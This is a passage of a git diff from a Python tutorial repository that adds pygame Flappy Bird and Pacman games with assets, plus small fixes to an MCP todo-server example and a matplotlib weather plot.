== "open") + done_count = total - open_count + return {"total": total, "open": open_count, "done": done_count} + +@mcp.resource("todo://{id}") +def get_todo(id: int) -> dict: + """Fetch a single todo by id.""" + for t in TODOS: + if t["id"] == id: + return t + raise ValueError(f"Todo {id} not found") + +# A reusable prompt +@mcp.prompt +def suggest_next_action(pending: int, project: str | None = None) -> str: + """Render a small instruction for an LLM to propose next action.""" + base = f"You have {pending} pending TODOs. " + if project: + base += f"They relate to the project '{project}'. " + base += "Suggest the most impactful next action in one short sentence." + return base + +if __name__ == "__main__": + # Default transport is stdio; you can also use transport="http", host=..., port=... + mcp.run() diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py index b4d17141..3d1ea566 100644 --- a/general/interactive-weather-plot/interactive_weather_plot.py +++ b/general/interactive-weather-plot/interactive_weather_plot.py @@ -68,7 +68,7 @@ def changeLocation(newLocation): # Making the Radio Buttons buttons = RadioButtons( ax=plt.axes([0.1, 0.1, 0.2, 0.2]), - labels=locations.keys() + labels=list(locations.keys()) ) # Connect click event on the buttons to the function that changes location. @@ -86,4 +86,4 @@ def changeLocation(newLocation): plt.savefig('file.svg', format='svg') -plt.show() \ No newline at end of file +plt.show() diff --git a/gui-programming/adding-sound-effects-to-games/README.md b/gui-programming/adding-sound-effects-to-games/README.md new file mode 100644 index 00000000..65bd6f17 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/README.md @@ -0,0 +1 @@ +# [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/0.png b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/1.png b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/2.png b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav new file mode 100644 index 00000000..49ceb7d8 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav new file mode 100644 index 00000000..9dcc7062 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 new file mode 100644 index 00000000..cb9fcc85 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png differ diff --git a/gui-programming/adding-sound-effects-to-games/bird.py b/gui-programming/adding-sound-effects-to-games/bird.py new file mode 100644 index 00000000..0d7aec26 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/bird.py @@ -0,0 +1,46 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -8 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + whoosh = pygame.mixer.Sound("assets/sfx/whoosh.mp3") + whoosh.set_volume(0.5) + whoosh.play() + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() + # print(self.score) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/game.py b/gui-programming/adding-sound-effects-to-games/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/adding-sound-effects-to-games/main.py b/gui-programming/adding-sound-effects-to-games/main.py new file mode 100644 index 00000000..ea83ee54 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/main.py @@ -0,0 +1,44 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.FPS = pygame.time.Clock() + + def main(self): + pygame.mixer.music.load("assets/sfx/bgm.wav") + pygame.mixer.music.play(-1) + pygame.mixer.music.set_volume(0.8) + world = World(screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/adding-sound-effects-to-games/pipe.py b/gui-programming/adding-sound-effects-to-games/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/requirements.txt b/gui-programming/adding-sound-effects-to-games/requirements.txt new file mode 100644 index 00000000..a1cadd9d --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/requirements.txt @@ -0,0 +1 @@ +pygame==2.5.2 \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/settings.py b/gui-programming/adding-sound-effects-to-games/settings.py new file mode 100644 index 00000000..52cb46a4 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/settings.py @@ -0,0 +1,25 @@ +WIDTH, HEIGHT = 600, 680 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) + +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/world.py b/gui-programming/adding-sound-effects-to-games/world.py new file mode 100644 index 00000000..06712546 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/world.py @@ -0,0 +1,105 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + if self.playing: + hit = pygame.mixer.Sound("assets/sfx/hit.wav") + hit.set_volume(0.7) + hit.play() + self.playing = False + self.game_over = True + # for scoring + else: + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/pacman-game/README.md b/gui-programming/pacman-game/README.md new file mode 100644 index 00000000..b57339e5 --- /dev/null +++ b/gui-programming/pacman-game/README.md @@ -0,0 +1 @@ +# [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python) \ No newline at end of file diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc new file mode 100644 index 00000000..ddbae820 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc new file mode 100644 index 00000000..5ad6cc32 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc new file mode 100644 index 00000000..d60b70df Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc new file mode 100644 index 00000000..eac5abdb Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc new file mode 100644 index 00000000..b6faeb30 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc new file mode 100644 index 00000000..40a3a84b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc new file mode 100644 index 00000000..fd64e006 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc new file mode 100644 index 00000000..ba76e7ed Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc new file mode 100644 index 00000000..1088e54b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc new file mode 100644 index 00000000..795ec78b Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc new file mode 100644 index 00000000..5d335cc4 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc new file mode 100644 index 00000000..de82209f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc new file mode 100644 index 00000000..4cb12864 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc new file mode 100644 index 00000000..fba2a144 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..42535766 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc new file mode 100644 index 00000000..cc539698 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..51f2254f Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc new file mode 100644 index 00000000..f50f2916 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc new file mode 100644 index 00000000..9740cddc Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc new file mode 100644 index 00000000..ebf307f2 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc differ diff --git a/gui-programming/pacman-game/animation.py b/gui-programming/pacman-game/animation.py new file mode 100644 index 00000000..d0e297b5 --- /dev/null +++ b/gui-programming/pacman-game/animation.py @@ -0,0 +1,11 @@ +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/pacman-game/assets/ghosts/orange/down.png b/gui-programming/pacman-game/assets/ghosts/orange/down.png new file mode 100644 index 00000000..015c28a7 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/left.png b/gui-programming/pacman-game/assets/ghosts/orange/left.png new file mode 100644 index 00000000..3c7e6933 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/right.png b/gui-programming/pacman-game/assets/ghosts/orange/right.png new file mode 100644 index 00000000..20cf70f2 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/orange/up.png b/gui-programming/pacman-game/assets/ghosts/orange/up.png new file mode 100644 index 00000000..1d5cf759 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/down.png b/gui-programming/pacman-game/assets/ghosts/pink/down.png new file mode 100644 index 00000000..f64ce7cb Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/left.png b/gui-programming/pacman-game/assets/ghosts/pink/left.png new file mode 100644 index 00000000..3310b61f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/right.png b/gui-programming/pacman-game/assets/ghosts/pink/right.png new file mode 100644 index 00000000..c3ffdf68 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/pink/up.png b/gui-programming/pacman-game/assets/ghosts/pink/up.png new file mode 100644 index 00000000..62c5cf92 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/down.png b/gui-programming/pacman-game/assets/ghosts/red/down.png new file mode 100644 index 00000000..cdc1127d Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/left.png b/gui-programming/pacman-game/assets/ghosts/red/left.png new file mode 100644 index 00000000..a8c042a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/right.png b/gui-programming/pacman-game/assets/ghosts/red/right.png new file mode 100644 index 00000000..a68cc391 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/red/up.png b/gui-programming/pacman-game/assets/ghosts/red/up.png new file mode 100644 index 00000000..295ad02b Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/up.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/down.png b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png new file mode 100644 index 00000000..a8ea55a8 Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/left.png b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png new file mode 100644 index 00000000..d7abf43f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/right.png b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png new file mode 100644 index 00000000..8622bafc Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png differ diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/up.png b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png new file mode 100644 index 00000000..d23fb66f Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png differ diff --git a/gui-programming/pacman-game/assets/life/life.png b/gui-programming/pacman-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/pacman-game/assets/life/life.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/0.png b/gui-programming/pacman-game/assets/pac/down/0.png new file mode 100644 index 00000000..2ab42a16 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/down/1.png b/gui-programming/pacman-game/assets/pac/down/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/idle/0.png b/gui-programming/pacman-game/assets/pac/idle/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/idle/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/0.png b/gui-programming/pacman-game/assets/pac/left/0.png new file mode 100644 index 00000000..3004ca18 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/left/1.png b/gui-programming/pacman-game/assets/pac/left/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/0.png b/gui-programming/pacman-game/assets/pac/power_up/0.png new file mode 100644 index 00000000..e48d80b0 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/power_up/1.png b/gui-programming/pacman-game/assets/pac/power_up/1.png new file mode 100644 index 00000000..2880250a Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/0.png b/gui-programming/pacman-game/assets/pac/right/0.png new file mode 100644 index 00000000..e330c06d Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/right/1.png b/gui-programming/pacman-game/assets/pac/right/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/1.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/0.png b/gui-programming/pacman-game/assets/pac/up/0.png new file mode 100644 index 00000000..f960506b Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/0.png differ diff --git a/gui-programming/pacman-game/assets/pac/up/1.png b/gui-programming/pacman-game/assets/pac/up/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/1.png differ diff --git a/gui-programming/pacman-game/berry.py b/gui-programming/pacman-game/berry.py new file mode 100644 index 00000000..75ca0441 --- /dev/null +++ b/gui-programming/pacman-game/berry.py @@ -0,0 +1,20 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED + +class Berry(pygame.sprite.Sprite): + def __init__(self, row, col, size, is_power_up = False): + super().__init__() + self.power_up = is_power_up + self.size = size + self.color = pygame.Color("violetred") + self.thickness = size + self.abs_x = (row * CHAR_SIZE) + (CHAR_SIZE // 2) + self.abs_y = (col * CHAR_SIZE) + (CHAR_SIZE // 2) + + # temporary rect for colliderect-checking + self.rect = pygame.Rect(self.abs_x,self.abs_y, self.size * 2, self.size * 2) + + def update(self, screen): + self.rect = pygame.draw.circle(screen, self.color, (self.abs_x, self.abs_y), self.size, self.thickness) + diff --git a/gui-programming/pacman-game/cell.py b/gui-programming/pacman-game/cell.py new file mode 100644 index 00000000..dc17bd93 --- /dev/null +++ b/gui-programming/pacman-game/cell.py @@ -0,0 +1,17 @@ +import pygame + +class Cell(pygame.sprite.Sprite): + def __init__(self, row, col, length, width): + super().__init__() + self.width = length + self.height = width + self.id = (row, col) + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + self.occupying_piece = None + + def update(self, screen): + pygame.draw.rect(screen, pygame.Color("blue2"), self.rect) \ No newline at end of file diff --git a/gui-programming/pacman-game/display.py b/gui-programming/pacman-game/display.py new file mode 100644 index 00000000..83c943c8 --- /dev/null +++ b/gui-programming/pacman-game/display.py @@ -0,0 +1,40 @@ +import pygame + +from settings import WIDTH, HEIGHT, CHAR_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("ubuntumono", CHAR_SIZE) + self.game_over_font = pygame.font.SysFont("dejavusansmono", 48) + self.text_color = pygame.Color("crimson") + + def show_life(self, life): + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (CHAR_SIZE, CHAR_SIZE)) + life_x = CHAR_SIZE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (CHAR_SIZE // 2))) + life_x += CHAR_SIZE + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x, (HEIGHT + (CHAR_SIZE // 2)))) + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.font.render(f'{score}', True, self.text_color) + self.screen.blit(score, (score_x * 2, (HEIGHT + (CHAR_SIZE // 2)))) + + # add game over message + def game_over(self): + message = self.game_over_font.render(f'GAME OVER!!', True, pygame.Color("chartreuse")) + instruction = self.font.render(f'Press "R" to Restart', True, pygame.Color("aqua")) + self.screen.blit(message, ((WIDTH // 4), (HEIGHT // 3))) + self.screen.blit(instruction, ((WIDTH // 4), (HEIGHT // 2))) \ No newline at end of file diff --git a/gui-programming/pacman-game/ghost.py b/gui-programming/pacman-game/ghost.py new file mode 100644 index 00000000..27d29cb7 --- /dev/null +++ b/gui-programming/pacman-game/ghost.py @@ -0,0 +1,70 @@ +import pygame +import random +import time + +from settings import WIDTH, CHAR_SIZE, GHOST_SPEED + +class Ghost(pygame.sprite.Sprite): + def __init__(self, row, col, color): + super().__init__() + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + self.rect = pygame.Rect(self.abs_x, self.abs_y, CHAR_SIZE, CHAR_SIZE) + self.move_speed = GHOST_SPEED + self.color = pygame.Color(color) + self.move_directions = [(-1,0), (0,-1), (1,0), (0,1)] + + self.moving_dir = "up" + self.img_path = f'assets/ghosts/{color}/' + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.directions = {'left': (-self.move_speed, 0), 'right': (self.move_speed, 0), 'up': (0, -self.move_speed), 'down': (0, self.move_speed)} + self.keys = ['left', 'right', 'up', 'down'] + self.direction = (0, 0) + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + def is_collide(self, x, y, walls_collide_list): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(walls_collide_list) == -1: + return False + return True + + def _animate(self): + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + def update(self, walls_collide_list): + # ghost movement + available_moves = [] + for key in self.keys: + if not self.is_collide(*self.directions[key], walls_collide_list): + available_moves.append(key) + + randomizing = False if len(available_moves) <= 2 and self.direction != (0,0) else True + # 60% chance of randomizing ghost move + if randomizing and random.randrange( 0,100 ) <= 60: + self.moving_dir = random.choice(available_moves) + self.direction = self.directions[self.moving_dir] + + if not self.is_collide(*self.direction, 